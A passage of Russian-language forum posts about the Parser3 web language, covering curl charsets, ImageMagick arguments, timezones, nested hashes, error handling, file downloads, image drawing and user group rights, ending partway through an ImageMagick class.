Есть мысль передавать вначале просто параметр \"--I\" - он вернет только ответ сервера, из которого взять кодировку и дальше уже передавать скрипту нужную кодировку. Но как-то смущает 2 запроса, хотя первый и делается довольно быстро.\
\
Есть еще какие-либо решения как можно организовать перекодировку?"
"72368","при file::exec внешний скрипт не сообщает, в какой кодировке он шлёт данные (в отличии от file::load[http).\
поэтому единственный способ сделать это -- указать это явно с помощью $.charset. тогда парсер будет перекодировать буквы из этой кодировки в $request:charset.\
\
что вас смущает в таком подходе?\
\
хотя вы забыли написать почему вам не подходит имеющийся способ загрузки с внешних серверов по http -- file::load, который сам умеет разбираться с кодировкой ответа внешнего сервера?\
\
P.S. если вам нужна работа именно через curl, версия из head уже умеет собираться так, чтобы использовать системный curl. увы, пока со сборкой и доступными механизмами вам придётся разбираться самостоятельно."
"72369","[quote]что вас смущает в таком подходе?[/quote]\
две посылки запроса, хотя... это уже не проблема. :)\
\
по большому счету из curl мне нужно использовать только работу с прокси-серверами.\
\
собирался написать класс, аналогичный file::load, но с б[b]о[/b]льшим количеством опций - если вдруг еще кому понадобится. Но раз это будет встроено в parser - оставлю на пока все как есть и торопиться не буду :)"
"72371","не понял. хотя возможно я недостаточно хорошо процитировал. попробую ещё раз:\
\
[quote]\
в $request:charset ... у меня UTF-8.\
\
...\
\
$file[^file::exec[text;/path/to/curl;$.charset[windows-1251];$args]]\
то $file.text в UTF-8\
[/quote]\
\
что вас не устраивает-то? ведь вроде всё правильно.\
о каких двух запросах вы говорите?"
"72372","2 запроса я имел в виду:\
1. вначале получить curl'ом только HEADER-информацию, взять оттуда charset и потом\
2. загрузить текст, передав нужный $.charset\
\
просто мне изначально может быть неизвестна кодировка на удаленном сервере, и каждый раз менять вручную не очень охота, автоматизировать проще.\
\
ну это мне вначале страшным показалось :) а потом подумал - вполне нормальное решение."
"72374","Я не делал работу с прокси-серверами, но добавить не сложно."
"72375","да, про библиотеку знаю. Спасибо за нее (и за все остальные).\
Но когда начинал делать - не вспомнил про нее, вспомнил только на пол-пути. Попробовал ее - не подошла, решил что лучше написать с нуля (такой я оптимист :))\
\
но как я понял из исходного кода, проблему с кодировкой она тоже не решает одним махом?\
\
P.S.: хотя теперь мне кажется что вначале передавать параметр \"-I\", брать из него кодировку и остальные данные очень хорошо. Потому как оформив все это в класс можно сделать, например, file::info для файлов, находящихся на удаленном сервере, и получить очень даже неплохую библиотеку, в т.ч. и для работы с FTP сервером.\
\
P.P.S. [b]Misha v.3[/b], а в парсере будет возможность работать с любыми функциями доступными в curl? :)"
"72376","если кодировка удалённого версера неизвестна -- ничего страшного.\
отправляемый этому серверу POST запрос содержит кодировку отправляемых данных и удалённый сервер в состоянии раскодировать данные (если там парсер свежей версии -- раскодирует).\
\
если укажете charset -- то отправляемые данные будут посланы в ней, а принимаемый ответ будет автоматически перекодирован из кодировки, которую сообщил удалённый сервер в request:charset без вашего вмешательства. причем даже если эта кодировка отличается от той, что в указали в charset.\
\
так что в подавляющем большинстве случаев с file::load всё будет хорошо.\
\
я знаю только один важный нюанс, когда file::load неприменим: httpS. собственно httpS и keep-alive сессии -- это две основные причины, для чего сейчас в парсер добавляется класс curl."
"72377","т.к. я этим не изменением занимаюсь.\
но скорее всего ответ \"нет\". мы не ставим задачу \"импортировать все функции curl\". мы ставим задачу дать механизмы, которых не хватает сейчас, и которые востребованы с нашей точки зрения."
"72378","потратил около часа, для понятия почему не воркает.\
и так что имеем.\
на старых версиях при выполнение exec\
на выхлопе всегда получали -resize пробел ширина пробел высота\
если какого-то параметра не хватало было\
-resize пробел пробел высота\
а конвертер чувствителен к пробелам и требует две цифры или пробелы при её отсутсвии\
временно решил\
заменой\
[code]$.sWidth[$sWidth]\
$.sHeight[$sHeight][/code]\
на\
[code]$.sWidth[^if(def $sWidth){$sWidth}{ }]\
$.sHeight[^if(def $sHeight){$sHeight}{ }][/code]\
хоть теперь и получаем на выходе аж 3 пробела, но вроде воркает."
"72379","по моему последние версии стали \"подавлять\" выдачу пустых параметров.\
\
если кто-то ещё подтвердит, что проблема именно в этом (что немного странно, т.к. речь идёт о keep ratio), то думаю лучше будет подправить классы, чтобы они прямо в exec выводили:\
[code]\
;-resize;$hParams.sWidth ;$hParams.sHeight ;\
[/code]\
\
или\
[code]\
;-resize;^if(def $hParams.sWidth){$hParams.sWidth}{ };^if($hParams.sHeight){$hParams.sHeight}{ };\
[/code]\
\
или вообще переделать всё это на передачу параметров в виде таблицы, т.к. это уже присутствует в парсере достаточно давно (аж с версии 3.2.2)"
"72380","Заменяем оригинальный файл конвертера  на вот этот скриптик\
[code]#!/bin/sh\
echo \"$*\" > /tmp/test.txt[/code]\
ну куда вывод делать, догадаются поправить +)"
"72381","1. Запрашиваю ^date::now[]. Получаю значение 20 часов, хотя локальное время 23 часа.\
2. Запрашиваю $oNow.daylightsaving. Ожидаю значение 1. Получаю  0 (стандартное время), хотя установлено Летнее время.\
3. Запрашиваю $oNow.TZ. Получаю GMT.\
\
Из полученного делаю вывод, что ^date::now[] нормализует значение к часовому поясу GMT, что противоречит http://www.parser.ru/docs/lang/datenow.htm"
"72382","Win32 прямо щас (время было 08:44):\
[code]\
$dt[^date::now[]]\
\
^dt.sql-string[]<br />\
DST: $dt.daylightsaving<br />\
TZ: $dt.TZ\
[/code]\
=>\
[code]\
2010-04-12 08:44:19\
DST: 0 # всё правильно, у меня тут нет DST\
TZ:\
[/code]\
\
кроме того, если у вас .TZ что-то показало, значит кто-же делал offset в эту TZ, иначе там должно быть пусто."
"72383","На быструю руку сделал подсветку синтаксиса. Возможно, кому то будет это интересно/полезно:\
[url=\"http://ivansergeev.com/tools/parser3_coda_syntaxmode.zip\"]архив[/url] (30кб)\
\
Надеюсь, что кто-нить сможешь привести это все в порядок. Особенно здорово будет, если сделать автокомплит (я с ним так и не разобрался).\
Coda стала заметно расти, неплохая платформа для работы с парсером на маке."
"72384","... разбирайтесь, что происходит в системе. Я сталкивался с подобной ошибкой один раз лет за десять и виновником был Апач (все это под FreeBSD) - по какой-то причине он изменил таймзону в собственном окружении, при этом в самой системе все было установлено корректно. Вылечилось простой перезагрузкой Апача."
"72385","Уважаемые гуру парсера, столкнулся с такой проблемой: нужно обработать ответ от сервера: ответ следующего типа\
[code]\
if (isset ($_GET['sid']) )\
{\
  parse_str (file_get_contents ('http://site.su/?make=data;gamedata=login;ses=' . $_GET['sid'] . ';game=1'),$arr);\
  if ($arr['status'] == 'ok')\
  {\
    print 'авторизовался, логин: ' . $arr['login'] . ', айди: ' . $arr['id'];\
  }\
  else\
  {\
    print 'Ошибка: ' . $arr['status_text'];\
  }\
}\
[/code] \
Т.е. суть проблемы, я отправлюя гет запрос типа site.su/?sid=blabla , а мне в ответ этот пхп скрит, каким образом обработать данные, я так подозреваю, что в ответ придут обычные формы, т.е. принять нужно будет $form:login и $form:id ?"
"72386","Вам нужно переписать этот пхп-скрипт на Парсер или реализовать интерфейс вида \"http://site.su/?make=data;gamedata=login;ses=sid;game=1'\"?\
\
На самом деле в обои случаях надо смотреть, что делает функция parse_str - это и будет ответом на оба вопроса."
"72387","Мне нужно от этого скрипта парсером принять данные по логину и ид\
\
цитата суппорта:\
\"ответ разбирается как parse_str ('status=ok&id=ИД&login=ЛОГИН',$arr)\""
"72388","... что пхп-скрипт возвратит вам в теле ответа строчку \"status=ok&id=ИД&login=ЛОГИН\", которую вам просто надо разобрать. \
\
Предвосхищая следующий вопрос, замечу, что про методы класса string (trim и split) подробно написано в документации Парсера. Я уже не говорю, что такой ответ несложно разобрать и регулярными выражениями. :)"
"72389","т.е. я отправляю GET запрос, а в ответ просто разбираю строку.\
А запрос отправляю типа \
$string[text;http://site.su/?sid=blalba]"
"72391","доку у меня только глючит? почему то не открывает"
"72393","Вернее сказать, как правильно подойти к вопросу о генерации ошибок и логировании по разным участкам кода. Например, в разных местах\
кода я расставляю уловия возникновения которых считается логической ошибкой. Например: \
somecode.p\
---------------------\
104:  ^if(!def $somevar){ ^error[form_notnull] }{ все ок  }\
\
хотелось бы конечно ловить в ^error[] имя файла somecode.p и\
хотя бы строчку где я вызвал этот ^error[] чтобы помимо вывода ошибки на экран писать более очевидные логи для себя.\
\
Конечно правильно Raise-ить ошибку встроенным для этого методом типа ^throw, но ведь тогда чтобы софтварно ругнуться не прерывая работу дальнейшего кода надо весь код оборачивать в ^try{} ?\
а на postprocess уже поздно это делать... так как в $body\
уже будет закрыт </BODY></HTML> и регеэкспом вставлять некий <div>с ошибкой</div> как-то уродливо. Мысли конечно есть, поскольку все разбито на объектные файлы, модули, шаблоны, то универсальное место где все можно завернуть в ^try найдется. \
\
Просто может есть у форумчан какие-то свои хитрости? Чтобы не изобретать велосипеда?"
"72395","Унылость в том, что это как и собственно ^try{} поставленный в глобальное место отменит весь body подготовленный на вывод.\
Допустим для простоты примера так:\
[code]\
# Template_main.p\
#\
<HTML>\
<BODY>\
^try{\
    ^header_obj[]\
    ^menu_obj[]\
    ^content_obj[]\
    ^footer_obj[]\
}{\
^error_mod[]\
}\
</BODY>\
</HTML>\
[/code]\
\
В результате, если какой нить _obj сгенерит ошибку,\
я бы хотел просто пропустить эту ошибку и по окончанию\
всех _obj выдать <div> с абсолютным позиционированием посреди экрана, то есть фактически между \
^footer_obj[]\
 и\
</BODY></HTML>\
\
а @unhandled_exeption или глобальный try отменит все попутно наработанное тело вывода заменив его телом обработчика. Как выход - делать во всех местах логических ошибок ^try{} но это тогда увеличит объем кода, его громоздкость и нечитабельность в разы."
"72396","хм. \
ну в общем случае вы не можете надеяться, что после возникновения ошибки в header_obj вы вообще сможете что-то сделать в content_obj."
"72397","Это название одного из разделов  [url=http://lib.rus.ec/b/112511/read#t90]четвертой главы[/url] замечательной книги Эндрю Ханта и Дэвида Томаса «Программист-прагматик. Путь от подмастерья к мастеру», которую я настоятельно рекомендую прочесть перед тем как пытаться сделать универсальный обработчик ошибок.\
\
Иными словами, если ошибку не удалось обработать, что программа должна прекратить свою работу, выдать клиенту сообщение, что что-то пошло не так и дать разработчику информацию о произошедшем. Все это прекрасно делается через механизм unhandled_exception. Кроме того, очень здорово помогает механизм работы с\
«утверждениями» (assertion), которые [url=http://code.google.com/p/parser3-pf/source/browse/trunk/pf/tests/pfAssert.p]крайне просто[/url] реализовать для Парсера."
"72398","Как создать многомерный хеш, названия элементов которого являются переменными.\
\
Пробую:\
\
[code]\
$sVar1[some]\
$sVar2[simple]\
$sVar3[strings]\
$sVar4[names]\
\
$hMyHash[^hash::create[]]\
\
$hMyHash.[$sVar1].[$sVar2].[$sVar3][\
	$.myValue[just]\
	$.myValues[test]\
]\
\
[/code]\
\
В ответ получаю: element can not be stored to void."
"72399","[code]\
$hMyHash[\
	$.[$sVar1][\
		$.[$sVar2][\
			$.[$sVar3][\
				$.myValue[just]\
				$.myValues[test]\
			]\
		]\
	]\
][/code]"
"72400","Очевидно, что мне такое заполнение нужно в цикле - иначе бы прописал руками :)\
\
А в этом случае $.[$sVar1] при каждой итерации будет перезаписываться новым хешем.\
\
Т.е. мне нужно добавлять данные в многомерный хеш, про который известна только глубина, но не количество элементов."
"72401","[code]\
@main[]\
  $h[^hash::create[]]\
  ^for[i](1;2){\
    ^for[k](1;3){\
      ^for[n](1;4){\
        $v1[level1_$i]\
        $v2[level2_$k]\
        $v3[level3_$n]\
        $h[$h $.[$v1][$h.[$v1] $.[$v2][$h.[$v1].[$v2] $.[$v3][value-${i}-${k}-${n}]]]]\
      }                                                  \
    }                                                   \
  }                                                      \
  ^printHash[$h]                                         \
\
@printHash[hsh][k;v]\
  <ul>\
  ^hsh.foreach[k;v]{\
    <li>\
    ^if($v is hash){\
       ${k}\
       ^printHash[$v]\
    }{\
      $k -> $v\
     }\
    </li>  \
  }\
  </ul>  \
[/code]\
\
[i]Из [url=http://www.parser.ru/forum/?id=71094]свитков Дамблдора[/url].[/i]"
"72403","для меня это достаточно типовая задача, только мне нужно лишь два уровня и исходные данные у меня бывают в таблицах.\
\
поэтому делаю так:\
[code]\
$h[^hash::create[]]\
^t.menu{\
	^if(!($h.[$t.col1] is \"hash\")){\
		$h.[$t.col1][^hash::create[]]\
	}\
	$h.[$t.col1].[$t.col2][...value...]\
}\
[/code]\
\
в случае увеличения глубины увеличивается число конструкций с if-ами.\
\
P.S. надо будет сравнить эти два варианта по памяти/скорости."
"72404","Если хеши заполняются вложенными циклами, как в твоем примере, то чуть эффективнее будет так:\
\
[code]@main[]\
  $h[\
    ^for[i](1;2){\
      $v1[level1_$i]\
      $.$v1[\
        ^for[k](1;3){\
          $v2[level2_$k]\
          $.$v2[\
            ^for[n](1;4){\
              $v3[level3_$n]\
              $.$v3[value-${i}-${k}-${n}]\
            }\
          ]\
        }\
      ]\
    }\
  ]\
  ^printHash[$h][/code]"
"72405","Для твоего случае это выглядело бы так:\
\
[code]$h[^hash::create[]]\
^t.menu{\
	$h.[$t.col1][ $h.[t.col1] $.[$t.col2][...value...] ]\
}[/code]\
\
[quote]\
P.S. надо будет сравнить эти два варианта по памяти/скорости.[/quote]\
\
Спортпрогноз: автосоздание хеша эффективнее - меньше операций в цикле. :)"
"72406","[code]\
@main[]\
$sFileName[/../data/t.txt]\
$bGenerate(false)\
\
$v[^table::create[nameless]{a	b	c	d}]\
^if(!(-f $sFileName) || $bGenerate){\
	$t[^table::create{c1	c2}]\
	$n(5000)\
	^for[i](0;$n){\
		^t.append{$v.[^math:random(4)]	$v.[^math:random(4)]}\
	}\
	^t.save[$sFileName]\
}{\
	$t[^table::load[$sFileName]]\
}\
\
^Erusage:measure{\
	^for[i](0;100){\
		$h[^m1[$t;c1;c2]]\
#		$h[^m2[$t;c1;c2]]\
	}\
}[e]\
Time: $e.time ms<br />\
KB: $e.memory_kb<br />\
BL: $e.memory_block\
\
\
\
@m1[t;sField1;sField2][sValue1]\
$result[^hash::create[]]\
^t.menu{$sValue1[$t.$sField1]^if(!def $result.$sValue1){$result.[$sValue1][^hash::create[]]}$result.[$sValue1].[$t.$sField2][$t.fields]}\
\
@m2[t;sField1;sField2][sValue1]\
$result[^hash::create[]]\
^t.menu{$sValue1[$t.$sField1]$result.[$sValue1][$result.[$sValue1] $.[$t.$sField2][$t.fields]]}\
\
@z[]\
[/code]\
\
у \"мяса\" удалил пробельный символы, чтобы они не влияли на результаты.\
\
на моей системе (набор данных одинаковый).\
m1: 3200 ms, 75400 KB\
m2: 3100 ms, 83300 KB\
\
время выполнения у меня существенно скачет (2000-4500 ms), но в общем случае m2 кажется чуточку быстрее (хотя возможно просто так совпало). \
но он на 10% прожорливее (по моему не удивительно, т.к. на каждой итерации \"копируется\" хеш). цифры расхода памяти стабильны. \
\
остаюсь пока со своим методом :)"
"72407","Добрый день! У меня возник вопрос:\
можно ли средствами Parser вывести на принтер часть страницы?\
(необходимо распечатать несколько строк)"
"72409","на браузере клиента"
"72410","нужно чтобы при нажатии кнопки распечатался небольшой статический текст"
"72413","http://www.parser.ru/forum/?id=70678"
"72414","[b]Sumo[/b] не понял - я не пытаюсь обработать все потенциальные ошибки своего кода,\
а пытаюсь воспользоваться встроенным механизмом обработки ошибок\
для контроллируемых логических ошибок типа: неправильный формат e-mail, нет прав на раздел, и т.п. То есть чтобы не изобретать велосипед типа собственного стека ошибок и оформленного вывода\
этих ошибок, хотелось заюзать встроенный. \
\
P.S.: В принципе вижу, что встроенный короче не будет.\
Как примерно надо (упрощенная схема):\
[code]\
#\
# Общая последовательность выполнения - свой error\
#\
^header_obj[]\
\
$error[]\
\
#-- content_obj[] ---\
# например\
^if(!^is_email[$form:email]){$error[email.badformat]}\
...\
^if(...){$error[type.err]}\
#-- /content_obj[] ---\
\
# если по ходу выполнения основного тела кода появились ошибки\
# то выкатываем на экран сообщение поверх всего\
# <div> с z-index, и position: absolute\
\
^if(def $error){ ^error_obj[$error] }\
#\
# конечно хотелось бы внутрь ^error_obj[] словить не только\
# тип ошибки но и имя файла и строчку где это произошло, так\
# как одноименная логическая ошибка может возникнуть в разных\
# файлах и шаблонах. И тут видимо только встроенный механизм.\
#\
\
^footer_obj[]\
[/code]\
\
\
~~~~~~~~~~~~~~~~~~~\
\
[code]\
#\
# Тоже самое только со встроенным механизмом\
#\
^header_obj[]\
#-- content_obj[] ---\
^try{\
	^if(!^is_email[$form:email]){^throw[email.badformat]}\
     }{\
         $exception.handled(true)\
# тут мы конечно в ^error_obj получим исчерпывающую информацию\
# но громоздкость такого обрамления по всему коду это слишком\
         ^error_obj[$exeption]\
       }\
#-- /content_obj[] ---\
^footer_obj[]\
[/code]\
\
Покороче никак не совместить полезное с приятным?"
"72415","Честно проглядел форум по поиску что то не наткнулся на свой случай.\
Задача:\
необходимо загрузить файл с диска, replace-нуть текст файла по\
некоторым местам и отдать в тело ответа на скачивание.\
\
Проблема в невозможности изменить поле $file.text у объекта.\
Так как строить тело ответа руками не хотелось, там ведь\
и mime-type и name и прочее, а хотелось отдать через\
$response:download[$file]\
\
Поди пересозданием объекта файла можно обернуться?\
^file::create[binary;$name;$replaced_text]"
"72416","исключение -- оно на то и исключение, что код после него не выполняется. точка.\
\
с помощью try вы можете указать, где надо продолжать выполнять код (или, до куда его не выполнять).\
\
\
пытаться \"трассировать\" процесс выполнения лишь для того, чтобы в случае возникновения ошибки что-то красиво показать -- неправильно.\
основной код должен выполняться без исключений. исключения должны быть редкостью. в этом случае делать кучу работы на всякий случай -- напрасно тратить ресурсы.\
\
локализуйте места проверки входных данных, и обрамите их в try. в catch секции, если возникнет исключение из-за невалидности данных, формируйте объект с необходимыми вами данными (файл, стек) и красиво описывайте. но я не знаю зачем это нужно, т.к. посетителю сайтов от этого ни горячо ни холодно."
"72418","[code]\
  $response:download[^file::create[text;$name;$replaced_text]]\
[/code]\
\
Но, в большинстве случаев, лучше самостоятельно задать заголовок Сontent-Type (это делается элементарно, например, через $MAIN:MIME-TYPES), а имя файла должно определяться клиентом через uri - это самый правильный подход с точки зрения протокола HTTP и REST-архитектуры, которая лежит в основе веба."
"72420","хак:\
\
[code]\
$response:download[^file::base64[^модифицированная_строка.base64[]]]\
[/code]\
\
%-)\
\
P.S. не проверял"
"72421","[quote]но он на 10% прожорливее (по моему не удивительно, т.к. на каждой итерации \"копируется\" хеш).[/quote]\
\
Не копируется. $result.[$sValue1][$result.[$sValue1]... работает по той же логике, что и $a[$a] - это обычное присваиваение.\
\
Почему разница - сложно сказать, возможно из-за ' '. :)"
"72422","я потому слово копируется и взял в кавычки :)\
да, просто присваивается, но это создаётся новая переменная с таким-же именем, а старая выбрасывается. может потом мусор и соберётся, я не пробовал.\
\
весь код привел, можешь с ним поиграться (например добавить пробел в m1, чтобы уравнять их) :)\
\
как убрать ' ' я не знаю. без него выдаёт ошибку и я не втыкаю почему %-)\
\
P.S. я вот тут посмотрел на этот код и подумал, что может нам в компиляторе ещё и !def отдельно соптимизировать? \"у меня их есть много\""
"72423","Если такой вообще у кого-то существует. \
Или может посоветуете как подсветить парсерный  код в TextMate или BBEdit?"
"72425","[quote]но это создаётся новая переменная с таким-же именем, а старая выбрасывается\
[/quote]\
\
$a[$a] - это всего лишь value=get_element('a'), put_element('a', value). Никаких новых переменных в процессе не создается. value каким был, таким и останется."
"72428","[code]\
$h[$.a[1]]\
\
$h[$h $.b[2]]\
[/code]\
\
=>\
\
[code]\
OBJECT_POOL\
 VALUE \"1\" string\
 WITH_WRITE__VALUE__CONSTRUCT_VALUE \"a\" string\
WITH_ROOT__VALUE__CONSTRUCT_VALUE \"h\" string\
STRING__WRITE \" \" string\
OBJECT_POOL\
 VALUE__GET_ELEMENT__WRITE \"h\" string\
 STRING__WRITE \" \" string\
 VALUE \"2\" string\
 WITH_WRITE__VALUE__CONSTRUCT_VALUE \"b\" string\
WITH_ROOT__VALUE__CONSTRUCT_VALUE \"h\" string\
[/code]\
\
последний WITH_ROOT__VALUE__CONSTRUCT_VALUE это разве не создание нового хеша?\
\
P.S. убрал в m2 пробел:\
[code]\
^t.menu{$sValue1[$t.$sField1]$result.[$sValue1][${result.[$sValue1]}$.[$t.$sField2][$t.fields]]}\
[/code]\
\
результат стал 75408 против 75400 %-)"
"72429","а то вдруг заработает и вы этим начнёте пользоваться?\
это ресурсоёмко и медленно.\
\
Sumo правильно говорит, что лучше ручками выдать text и выставить content-type.\
\
P.S. а вообще я не понял, почему вы говорите о создании binary файла, когда по сути он текстовый. binary фактически нужен для отключения перекодирования и для отключения конвертации EOL. в вашем случае, раз вы всё равно делаете замены в тексте, вам нужно перекодирование. а концы строк сейчас обычно мало кого волнуют, но в вашем случае они уже будут перекодированы."
"72430","В данном случае, мне действительно нужен text-mode,\
но если бы мой файл была некая цепочка строго последовательных байт, может это что-то, как-то закодировано или какой-нить внутренний формат. Ведь я правильно понимаю, что text-mode в парсере реализован нативно через text-mode в C, а там при text-форматированном потоке, мне побьет те места в которых встретит якобы символы конца строки. По крайней мере под windows\
код символа 10, заменяется на 10,13"
"72431","А посмотреть? :)\
\
case OP::OP_CONSTRUCT_VALUE:\
	{\
		...\
		put_element(ncontext, name, &value);\
	}\
\
Это завершение $h[$h] - положить в локальную переменную h тот самый хеш, что был получен из нее при \"VALUE__GET_ELEMENT__WRITE \"h\" string\""
"72432","- они (двоичные данные) по любому обрежуться по первому \\0 при обращении к ним через .text\
- если вы загрузите произвольные данные в binary, то без перекодирования (которое происходит только при загрузке текстового файла) вы в общем случае не можете делать match в utf8, т.к. отгребёте ошибку\
- как я уже написал, я с трудом представляю, что вы парсером сделать с бинарным файлом (как его \"подправите\")\
- нормализация EOL происходит в зависимости от OS."
"72433","Всем доброго времени суток!\
Использую класс авторизации auth Misha v.3 [07 октября 2003]  ...\
Появилась необходимость разделить пользователей на группы и назначить им права, из комментариев к скриптам понятно, что в классе предусмотрено это, но как использовать его в этих целях?\
\
есть таблица ACL ( для чего она не могу понять???)\
[code]CREATE TABLE IF NOT EXISTS `acl` (\
  `auser_id` int(10) unsigned NOT NULL,\
  `rights` int(10) unsigned NOT NULL,\
  `referer_id` int(10) unsigned NOT NULL,\
  `referer_type` varchar(31) NOT NULL,\
  PRIMARY KEY (`referer_id`,`auser_id`,`referer_type`)\
) ENGINE=MyISAM DEFAULT CHARSET=cp1251;\
[/code]\
\
и таблица rights (с правами пользователей на объекты) \
[code]\
CREATE TABLE IF NOT EXISTS `rights` (\
  `rights_id` int(10) unsigned NOT NULL,\
  `name` varchar(127) NOT NULL,\
  `name_short` varchar(2) NOT NULL,\
  `description` varchar(255) DEFAULT NULL,\
  `rights_type_id` int(10) unsigned NOT NULL DEFAULT '0',\
  PRIMARY KEY (`rights_id`)\
) ENGINE=MyISAM DEFAULT CHARSET=cp1251;\
[/code]\
\
таблица с пользователями auser и таблица пересечение  пользователей и групп auser_to_auser\
сейчас я проверяю залогинен пользователь (1) или нет (0) ^if($auth.is_logon){ и допускаю его к методу или объекту }\
\
На сайте есть административный раздел и объекты (объявления) которые пользователи создают сами (потом редактируют), как ограничить всем пользователям доступ к административной части сайта ведь на данный момент я проверяю $auth.is_logon и любой пользователь может администрировать сайт...\
Как правильно это сделать?"
"72434","Просто в auser_to_auser добавляете юзеров с parent_id группы \"admins\"\
\
Пример:\
таблица auser содержает по умолчанию таково посетителя:\
auser_id = 2\
auser_type_id = 1\
rights = 16777215\
name = admins\
\
но и ещё тот посетитель которому должно быть админом:\
auser_id = 3\
auser_type = 0\
rights = 0\
name = janek\
\
в auser_to_auser добавляете\
auser_id = 3\
parent_id = 2\
rights = 0\
\
и в админ-панели прверяете примерно так:\
[code]\
@isAdmin[]\
$result(false)\
^if($auth.is_logon){\
	^if($auth.user.groups.rights >= 16777215){\
		$result(true)\
	}\
}\
[/code]\
\
ещё может быть вам полезный метод reflection и класс [url=\"http://code.google.com/p/dstop/\"]dstop от zhizhilkin-а[/url]\
[code]\
^dstop[^reflection:fields[$auth]]\
[/code]\
\
p.s. \
- к тому не нужный вам acl\
- Почему не используете последнией версии с 23.08.2009?"
"72437","Делаю навигацию способом, описанным в уроке №1. Как реализовать вывод в строку, а не в столбец?\
Какие существуют альтернативные варианты осуществления навигации?"
"72438","Хочу добавить, что вариант с таблицей не подходит... В этом и проблема."
"72440","Я не хотела бы использовать для этого таблицу, поэтому ищу альтернативные варианты."
"72443","Удобно вордовый документ сохранить как .mht по трем причинам:\
1) Внутри содержится html/xml разметка и её можно поправить руками,программно\
2) Графика там-же внутри в base64 формате\
3) Для пущей красоты файл можно смело переименовать в .doc и отдавать с полным mime-type-ом что это MS Word - и ворд несмотря на расширение отлично его открывает, пользователь даже не в курсе что это .mht\
\
[code]\
#Если загрузить файл \
$fil[^file::load[binay;filename.doc]]\
#И отдать - то все ок сохраненный файл 1:1 и все открывается\
$response:download[$fil]\
\
# но если попробовать сделать замену текста\
# и потом отдать\
$fil[^create[text;replaced_string;filename.doc]\
$response:download[$fil]\
# то все бьется\
[/code]\
\
Очень и очень жаль... так как видимо это из-за специфичных переносов в base64 и/или еще каких-то символов. Внешне файл выглдять text-plain-новым но видимо это не так. Заметил, что в rtf также что-то по типу base64 только dec-овские значения. Стало быть и его не поменять.\
\
А жаль... если в этом .mht, .rtf заранее руками проставить служебные теги типа\
%NAME%, %SOMETHING% то можно было бы реплейсить по таблице подстановке и таким образом генерить вордовый документ не записывая ничего на диск и не обращаясь к сторонним вызовым утилит и скриптов. Хотел так реализовать генерацию бланков .doc с подставленными параметрами, ну чует сердце придется курить rtf который на парсере уж точно не вырулить... \
:(\
\
При том генерировать rtf с нуля - не вариант, там всякие картинки, таблицы, вообщем это уже другая песня...\
\
P.S.: И ктати, \
$txt[модифицированная строка]\
$fil[^file::base64[^txt.base64[]]]\
$response:download[$fil]\
\
При таком конструкторе файла \
почему то выставляются НЕ правильные HTTP заголовки на скачивание \
файла и весь файл идет в \"морду\"."
"72444","вы работаете с ТЕКСТОВЫМ файлом. о проблемах, которые у вас появятся, если вы начнёте работать с его содержимым как с \"текстом\" бинарного я уже [URL=/forum/?id=72432]писал[/URL].\
\
что там у вас происходит с word+mht я не знаю, т.к. ворда не имею и проверить не могу.\
но сам файл не \"бьётся\", т.к. следующий код предлагает скачать файл. скачанный файл оказывается другого размера, но при этом прекрасно открывается браузером (этот doc == mht).\
\
[code]\
$f[^file::load[text;z.doc]]\
$r[^file::create[text;z.doc;^taint[as-is][$f.text]]]\
\
$response:download[$r]\
[/code]\
\
проблема в том, что при скачивании созданного файла не выдаются нужные content-type и content-disposition и вам нужно выдать их ручками.\
\
т.е. не ^file::create[binary вам (и не только) нужен, а что-то типа этого:\
[code]$response:download[\
	$.value[файл|text]\
	$.name[имя файла]\
	$.content-type[мой content-type]\
	$.charset[...]\
][/code]\
более того подобный feature request уже был в моём todo, я просто забыл для чего его просили :)\
\
\
если вы настаиваете на своём и хотите работать именно с binary файлом -- exec вам в руки, т.к. пока встраивать в парсер работу по ковырянию бинарных данных мы не планируем."
"72445","Не понимаю в чем причина!\
\
1) Иакой код работает:\
$photo[^image::measure[/i/d/berlin_small.gif]] \
$canvas[^image::measure[/i/d/canvas.gif]]\
^photo.html[]\
\
2) Такой выводит ошибку:\"using unitialized image object\"\
\
$photo[^image::measure[/i/d/berlin_small.gif]] \
$canvas[^image::measure[/i/d/canvas.gif]] \
^photo.circle(30;30;10;0xFFFFFF) \
^photo.html[]\
\
Что здесь не так? почему \"ругается\" на строку ^photo.circle(30;30;10;0xFFFFFF)  ?"
"72446","::measure -- это лишь получение ширины и высоты изображения. это не полноценный image (примерно аналогичная ситуация с file, полученным конструктором ::stat)"
"72447","Точно! Вы правы!\
Сделал следующим образом:\
\
$photo[^image::load[/i/d/berlin_small.gif]] \
^photo.circle(30;30;10;0xFF0000) \
^photo.html[]\
\
Круга на выведенном изображении нет ... не понимаю"
"72448","[code]\
$photo[^image::load[/i/d/berlin_small.gif]]\
^photo.circle(30;30;10;0xFFFFFF)\
$f[^photo.gif[]]\
^f.save[binary;/i/d/berlin_small.gif]\
^photo.html[]\
[/code]\
\
Метод \"html\" возвращает только код html. Когда вы делаете что-нибудь с изображением - ваш круг созданный методом \"circle\" находиться только в оперативной памяти сервера. Вам надо сохранить изображение и потом вывести нужный html."
"72449","вы загрузили фото, нарисовали на нем, и пытаетесь вывести.\
Парсер показывает файл в исходном состоянии, т.к. вы ничего не сохранили.\
Если нужно картинку сразу вывести, то тогда лучше подойдет:\
[code]$response:body[^photo.gif[]][/code]"
"72450","[code]###########################################################################\
# $Id: ImageMagick.p,v 1.2 2007/05/14 10:45:36 misha Exp $\
# Author: Michael V. Petrushin\
# Implementation for working with images using ImageMagic: http://www.imagemagick.org/\
#	Janek 2010/04/16 10:37:00:\
# 	Some fixes + new actions implementation (text + watermark)\
###########################################################################\
\
\
@CLASS\
ImageMagick\
\
@USE\
Img.p\
pf/types/pfString.p\
\
@BASE\
Img\
\
\
\
###########################################################################\
@auto[]\
$sDefaultPath[]\
$sDefaultScript[convert]\
#end @auto[]\
\
\
\
###########################################################################\
@create[hParam]\
^BASE:create[$hParam]\
#end @create[]\
\
\
\
###########################################################################\
@_parseInfo[fInfo][sDummy;tSize]\
$result[\
	$.hRaw[^hash::create[]]\
]\
#^throw[;$fInfo.status=$fInfo.text]\
^if(!$fInfo.status && def $fInfo.text){\
	$sDummy[^fInfo.text.match[^^\\s*(\\S.+\\S):\\s+(.+)\\s*^$][gm]{\
		^result.hRaw.add[$.[$match.1][$match.2]]\
		^switch[$match.1]{\
			^case[Format]{\
				^result.add[$.sFormat[^match.2.match[^^(\\S+)\\s.*][]{^match.1.lower[]}]]\
			}\
			^case[Geometry]{\
				$tSize[^match.2.split[x][lh]]\
				^result.add[\
					$.iWidth($tSize.0)\
					$.iHeight(^pfString:left[$tSize.1;+])\
				]\
			}\
			^case[Compression;Orientation;Quality]{^result.add[$.[s$match.1][$match.2]]}\
